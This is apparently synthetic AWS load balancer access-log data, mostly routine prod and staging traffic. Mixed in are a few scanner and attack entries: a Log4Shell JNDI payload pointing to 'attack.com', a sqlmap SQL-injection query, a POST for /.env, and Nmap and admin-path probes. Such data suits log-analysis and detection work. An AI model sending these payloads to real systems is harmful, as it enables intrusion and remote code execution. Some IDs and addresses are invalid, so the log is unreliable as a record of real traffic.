arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9c2-462305be0e1b470398347c39" "prod-api-alb.example.com" "-" 8 2024-11-01T01:17:38.989349Z "forward" "-" "-" "10.0.154.253:443" "200" "-" "-" -https 2024-11-01T01:17:40.986661Z prod-web-alb 193.27.228.155:46237 10.0.98.48:443 0.048369 0.339475 0.024949 500 500 394 7166 "GET /debug/pprof HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9c4-a33c3850183448ef95157acc" "-" "-" 6 2024-11-01T01:17:40.986661Z "forward" "-" "-" "10.0.98.48:443" "500" "-" "-" -http 2024-11-01T01:17:42.335901Z staging-alb 52.26.29.189:59477 18.63.158.15:8080 0.093306 0.622112 0.040255 200 200 411 6165 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9c6-57c4582fe330489cae066d51" "staging-alb.example.com" "-" 9 2024-11-01T01:17:42.335901Z "forward" "-" "-" "18.63.158.15:8080" "200" "-" "-" -https 2024-11-01T01:17:44.010611Z staging-alb 174.134.255.218:28762 102.254.124.150:8080 0.096282 0.213527 0.056746 200 200 554 2931 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9c8-55b29a10e34140c48427daf4" "staging-alb.example.com" "-" 5 2024-11-01T01:17:44.010611Z "forward" "-" "-" "102.254.124.150:8080" "200" "-" "-" -https 2024-11-01T01:17:45.570310Z prod-web-alb 156.87.253.29:59378 10.0.11.92:443 0.032935 0.461368 0.007850 404 404 508 292 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9c9-f1615857397c41febe05b5ab" "prod-web-alb.example.com" "-" 7 2024-11-01T01:17:45.570310Z "forward" "-" "-" "10.0.11.92:443" "404" "-" "-" -https 2024-11-01T01:17:46.835483Z staging-alb 219.36.128.128:48400 129.47.70.237:443 0.119621 0.522038 0.055471 301 301 458 7371 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9ca-cf12a091f2404a18a2bc3ee2" "staging-alb.example.com" "-" 10 2024-11-01T01:17:46.835483Z "forward" "-" "-" "129.47.70.237:443" "301" "-" "-" -https 2024-11-01T01:17:47.110792Z prod-api-alb 229.148.16.249:41365 10.0.141.59:443 0.000455 0.172689 0.095919 301 301 489 12458 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9cb-ead8cf505f794b329c14f893" "prod-api-alb.example.com" "-" 0 2024-11-01T01:17:47.110792Z "forward" "-" "-" "10.0.141.59:443" "301" "-" "-" -https 2024-11-01T01:17:47.430324Z prod-api-alb 173.193.11.67:39273 10.0.90.16:443 0.066817 0.293537 0.049408 200 200 354 7075 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9cb-118ec47a47014d27ab895231" "prod-api-alb.example.com" "-" 1 2024-11-01T01:17:47.430324Z "forward" "-" "-" "10.0.90.16:443" "200" "-" "-" -http 2024-11-01T01:17:48.825366Z staging-alb 38.98.70.204:27627 111.130.154.170:443 0.035737 0.311090 0.078506 301 301 755 7275 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9cc-c265fb489bbf4dd9b6d7b4c9" "staging-alb.example.com" "-" 8 2024-11-01T01:17:48.825366Z "forward" "-" "-" "111.130.154.170:443" "301" "-" "-" -https 2024-11-01T01:17:50.013898Z prod-api-alb 172.129.166.195:62285 10.0.136.123:443 0.034999 0.109801 0.081623 200 200 498 4647 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9ce-4c1c74264c1641b7bf64cbb2" "prod-api-alb.example.com" "-" 1 2024-11-01T01:17:50.013898Z "forward" "-" "-" "10.0.136.123:443" "200" "-" "-" -https 2024-11-01T01:17:50.608956Z prod-api-alb 160.244.32.150:25419 10.0.61.121:443 0.037193 0.265069 0.015511 200 200 428 13629 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9ce-05e5e6a0488e4c81bbdad9f0" "prod-api-alb.example.com" "-" 2 2024-11-01T01:17:50.608956Z "forward" "-" "-" "10.0.61.121:443" "200" "-" "-" -https 2024-11-01T01:17:50.872730Z prod-api-alb 48.98.54.144:58087 10.0.50.59:443 0.021960 0.382460 0.092840 302 302 332 8690 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9ce-972ffbf915b44cc8a820cd6d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:17:50.872730Z "forward" "-" "-" "10.0.50.59:443" "302" "-" "-" -https 2024-11-01T01:17:51.615146Z staging-alb 28.249.3.160:52569 59.21.160.122:80 0.138195 0.323957 0.111569 302 302 640 7605 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9cf-fea5fa70a15d4358ba0e4f8e" "staging-alb.example.com" "-" 9 2024-11-01T01:17:51.615146Z "forward" "-" "-" "59.21.160.122:80" "302" "-" "-" -https 2024-11-01T01:17:53.354045Z staging-alb 193.45.212.60:61006 168.96.155.205:80 0.035438 0.021346 0.110773 301 301 396 7653 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9d1-fb86b14df6ea4d49aee2e476" "staging-alb.example.com" "-" 3 2024-11-01T01:17:53.354045Z "forward" "-" "-" "168.96.155.205:80" "301" "-" "-" -http 2024-11-01T01:17:54.414084Z staging-alb 120.83.208.30:63399 173.206.31.32:443 0.048078 0.744184 0.011196 200 200 367 1198 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9d2-dd79fb95cfe643c6a9a8f2a3" "staging-alb.example.com" "-" 8 2024-11-01T01:17:54.414084Z "forward" "-" "-" "173.206.31.32:443" "200" "-" "-" -https 2024-11-01T01:17:55.030321Z prod-api-alb 133.159.84.105:20122 10.0.165.201:443 0.096423 0.366820 0.013430 200 200 337 12598 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9d3-9fa04c0b5f7547e887a57fec" "prod-api-alb.example.com" "-" 8 2024-11-01T01:17:55.030321Z "forward" "-" "-" "10.0.165.201:443" "200" "-" "-" -https 2024-11-01T01:17:56.290385Z prod-web-alb 118.198.81.247:38314 10.0.178.111:443 0.054265 0.000976 0.051458 301 301 761 14662 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9d4-af4c1e29358341d69383e18f" "prod-web-alb.example.com" "-" 1 2024-11-01T01:17:56.290385Z "forward" "-" "-" "10.0.178.111:443" "301" "-" "-" -http 2024-11-01T01:17:57.552051Z staging-alb 234.175.176.198:16771 221.19.84.86:8080 0.077521 0.469241 0.080957 200 200 915 14318 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9d5-2f992f864a2c4996af80f398" "staging-alb.example.com" "-" 6 2024-11-01T01:17:57.552051Z "forward" "-" "-" "221.19.84.86:8080" "200" "-" "-" -https 2024-11-01T01:17:57.952006Z prod-api-alb 129.232.57.249:31113 10.0.102.95:443 0.064127 0.286025 0.022067 404 404 430 9665 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9d5-e70f136c52ce43579b5106dd" "prod-api-alb.example.com" "-" 4 2024-11-01T01:17:57.952006Z "forward" "-" "-" "10.0.102.95:443" "404" "-" "-" -https 2024-11-01T01:17:58.623525Z prod-web-alb 41.122.211.191:10257 10.0.119.187:443 0.005105 0.195425 0.043847 200 200 641 6054 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9d6-1372b5e1834a4a089cdf951d" "prod-web-alb.example.com" "-" 2 2024-11-01T01:17:58.623525Z "forward" "-" "-" "10.0.119.187:443" "200" "-" "-" -https 2024-11-01T01:17:59.962821Z prod-api-alb 248.53.195.113:30369 10.0.204.38:443 0.087178 0.131069 0.070062 302 302 584 14641 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9d7-9455ba07d44949c9b6ae8a8b" "prod-api-alb.example.com" "-" 7 2024-11-01T01:17:59.962821Z "forward" "-" "-" "10.0.204.38:443" "302" "-" "-" -http 2024-11-01T01:18:00.387436Z staging-alb 85.191.216.225:28799 197.32.138.161:8080 0.102839 0.180379 0.020309 200 200 547 10629 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9d8-297200a7f4964761a0c1d754" "staging-alb.example.com" "-" 10 2024-11-01T01:18:00.387436Z "forward" "-" "-" "197.32.138.161:8080" "200" "-" "-" -https 2024-11-01T01:18:01.596018Z staging-alb 10.236.76.253:31242 201.235.164.247:443 0.056993 0.320028 0.146342 200 200 597 5423 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9d9-c4592a363bea4eb8981ef003" "staging-alb.example.com" "-" 0 2024-11-01T01:18:01.596018Z "forward" "-" "-" "201.235.164.247:443" "200" "-" "-" -https 2024-11-01T01:18:02.511134Z prod-api-alb 91.170.75.70:10362 10.0.66.245:443 0.028500 0.006020 0.047890 302 302 630 12836 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9da-74635138d95c4743af556922" "prod-api-alb.example.com" "-" 3 2024-11-01T01:18:02.511134Z "forward" "-" "-" "10.0.66.245:443" "302" "-" "-" -https 2024-11-01T01:18:03.017377Z prod-web-alb 201.214.207.189:48393 10.0.149.99:443 0.033272 0.235765 0.054622 200 200 103 13428 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9db-c251272dde6e4d26b0cecf4c" "prod-web-alb.example.com" "-" 6 2024-11-01T01:18:03.017377Z "forward" "-" "-" "10.0.149.99:443" "200" "-" "-" -https 2024-11-01T01:18:03.672051Z prod-web-alb 132.155.19.204:49941 10.0.123.222:443 0.072621 0.026786 0.013349 200 200 248 7124 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9db-7bc323b5733641a59b8f545c" "prod-web-alb.example.com" "-" 9 2024-11-01T01:18:03.672051Z "forward" "-" "-" "10.0.123.222:443" "200" "-" "-" -https 2024-11-01T01:18:05.440964Z prod-web-alb 91.7.135.244:25243 10.0.254.182:443 0.033277 0.214297 0.006518 302 302 611 12624 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9dd-ba7d5caccee74c38a5b42a2c" "prod-web-alb.example.com" "-" 1 2024-11-01T01:18:05.440964Z "forward" "-" "-" "10.0.254.182:443" "302" "-" "-" -http 2024-11-01T01:18:06.054223Z staging-alb 185.181.26.16:16902 157.227.183.59:80 0.064006 0.340914 0.004508 500 500 410 6571 "GET /users?id=1 OR 1=1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9de-bc59cd9e38a44eafa646aa69" "-" "-" 0 2024-11-01T01:18:06.054223Z "forward" "-" "-" "157.227.183.59:80" "500" "-" "-" -http 2024-11-01T01:18:07.032030Z staging-alb 193.27.228.75:54063 141.177.67.85:80 0.111198 0.665928 0.146740 302 302 350 12708 "POST /.env HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9df-c0450cd11cf941db8b7f201e" "-" "-" 8 2024-11-01T01:18:07.032030Z "forward" "-" "-" "141.177.67.85:80" "302" "-" "-" -https 2024-11-01T01:18:08.060177Z prod-web-alb 0.127.81.129:64736 10.0.77.130:443 0.055521 0.322197 0.000183 200 200 702 9388 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9e0-f9d70109fc304040bd1cabe6" "prod-web-alb.example.com" "-" 2 2024-11-01T01:18:08.060177Z "forward" "-" "-" "10.0.77.130:443" "200" "-" "-" -http 2024-11-01T01:18:08.290875Z staging-alb 43.143.192.151:51803 158.87.169.237:8080 0.064433 0.154870 0.061688 404 404 840 4739 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9e0-771cb36bcdf14b64910d1485" "staging-alb.example.com" "-" 2 2024-11-01T01:18:08.290875Z "forward" "-" "-" "158.87.169.237:8080" "404" "-" "-" -https 2024-11-01T01:18:09.721792Z staging-alb 45.155.205.139:46633 150.180.81.165:8080 0.015935 0.073512 0.142184 404 404 134 700 "GET /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9e1-983a2d9b254b46e5b45fae1e" "-" "-" 5 2024-11-01T01:18:09.721792Z "forward" "-" "-" "150.180.81.165:8080" "404" "-" "-" -https 2024-11-01T01:18:10.503389Z staging-alb 90.155.155.156:10409 2.79.1.37:8080 0.029609 0.188045 0.037912 302 302 531 13329 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9e2-0f23f6990641467cafa996b1" "staging-alb.example.com" "-" 4 2024-11-01T01:18:10.503389Z "forward" "-" "-" "2.79.1.37:8080" "302" "-" "-" -https 2024-11-01T01:18:12.245881Z prod-web-alb 191.24.71.183:37217 10.0.224.236:443 0.013934 0.046480 0.027336 200 200 589 1642 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9e4-95217c8c662f4e2a997707d3" "prod-web-alb.example.com" "-" 7 2024-11-01T01:18:12.245881Z "forward" "-" "-" "10.0.224.236:443" "200" "-" "-" -https 2024-11-01T01:18:13.976248Z prod-api-alb 24.91.71.148:58517 10.0.242.186:443 0.023540 0.294529 0.072594 200 200 708 9880 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9e5-1bb1612b70fe4adfb79d6639" "prod-api-alb.example.com" "-" 7 2024-11-01T01:18:13.976248Z "forward" "-" "-" "10.0.242.186:443" "200" "-" "-" -https 2024-11-01T01:18:14.949949Z prod-web-alb 238.104.108.200:33567 10.0.140.94:443 0.081469 0.008036 0.091963 301 301 220 5149 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9e6-b8e7cc0a7f3e466f85272111" "prod-web-alb.example.com" "-" 8 2024-11-01T01:18:14.949949Z "forward" "-" "-" "10.0.140.94:443" "301" "-" "-" -https 2024-11-01T01:18:15.610050Z prod-api-alb 39.203.251.164:23327 10.0.16.231:443 0.008406 0.203456 0.001050 200 200 211 14964 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9e7-1db55231f07241c99f3864df" "prod-api-alb.example.com" "-" 6 2024-11-01T01:18:15.610050Z "forward" "-" "-" "10.0.16.231:443" "200" "-" "-" -https 2024-11-01T01:18:15.939130Z prod-web-alb 107.90.227.198:47890 10.0.210.35:443 0.003124 0.152266 0.038557 302 302 394 9370 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9e7-cf7c9d1603bd4c529657f763" "prod-web-alb.example.com" "-" 0 2024-11-01T01:18:15.939130Z "forward" "-" "-" "10.0.210.35:443" "302" "-" "-" -https 2024-11-01T01:18:16.583920Z prod-api-alb 87.31.125.230:63174 10.0.124.29:443 0.071551 0.107980 0.052706 200 200 270 7544 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9e8-8a634d24e87a4b9dbb0bb8f0" "prod-api-alb.example.com" "-" 8 2024-11-01T01:18:16.583920Z "forward" "-" "-" "10.0.124.29:443" "200" "-" "-" -https 2024-11-01T01:18:17.952523Z prod-web-alb 193.27.228.87:24595 10.0.30.51:443 0.068080 0.332706 0.010089 301 301 220 11757 "GET /administrator HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9e9-26d053b4eb5344068eba6893" "-" "-" 0 2024-11-01T01:18:17.952523Z "forward" "-" "-" "10.0.30.51:443" "301" "-" "-" -https 2024-11-01T01:18:18.951642Z prod-web-alb 202.83.12.90:21710 10.0.163.20:443 0.048445 0.329056 0.025593 200 200 987 1809 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9ea-5764428b6ff64d8e8dba00e8" "prod-web-alb.example.com" "-" 1 2024-11-01T01:18:18.951642Z "forward" "-" "-" "10.0.163.20:443" "200" "-" "-" -https 2024-11-01T01:18:19.345065Z prod-api-alb 59.7.252.67:51749 10.0.92.110:443 0.037720 0.021903 0.023461 200 200 374 6329 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9eb-927f118b330b4134ae56f0eb" "prod-api-alb.example.com" "-" 10 2024-11-01T01:18:19.345065Z "forward" "-" "-" "10.0.92.110:443" "200" "-" "-" -https 2024-11-01T01:18:20.072321Z prod-web-alb 209.13.154.66:40204 10.0.55.12:443 0.071625 0.093508 0.060853 200 200 620 9952 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9ec-124cc657e59c420aad7b2943" "prod-web-alb.example.com" "-" 2 2024-11-01T01:18:20.072321Z "forward" "-" "-" "10.0.55.12:443" "200" "-" "-" -http 2024-11-01T01:18:21.787463Z staging-alb 244.65.162.201:22233 163.249.127.159:8080 0.084839 0.740725 0.064141 200 200 693 2547 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9ed-1602061b9e004b85a2f862f7" "staging-alb.example.com" "-" 3 2024-11-01T01:18:21.787463Z "forward" "-" "-" "163.249.127.159:8080" "200" "-" "-" -https 2024-11-01T01:18:23.295005Z prod-web-alb 148.201.234.82:50162 10.0.161.213:443 0.000060 0.098641 0.066605 200 200 929 11591 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9ef-28070fffae8a41a4b8899435" "prod-web-alb.example.com" "-" 6 2024-11-01T01:18:23.295005Z "forward" "-" "-" "10.0.161.213:443" "200" "-" "-" -https 2024-11-01T01:18:24.165859Z prod-api-alb 38.228.44.135:19882 10.0.2.139:443 0.011661 0.029344 0.030776 200 200 932 4560 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9f0-9c128db14be04b9a82d702f6" "prod-api-alb.example.com" "-" 1 2024-11-01T01:18:24.165859Z "forward" "-" "-" "10.0.2.139:443" "200" "-" "-" -http 2024-11-01T01:18:25.926509Z staging-alb 233.179.2.131:42892 32.245.228.41:443 0.006860 0.391597 0.066247 200 200 797 10449 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9f1-70b66f7906334870a148cd7c" "staging-alb.example.com" "-" 0 2024-11-01T01:18:25.926509Z "forward" "-" "-" "32.245.228.41:443" 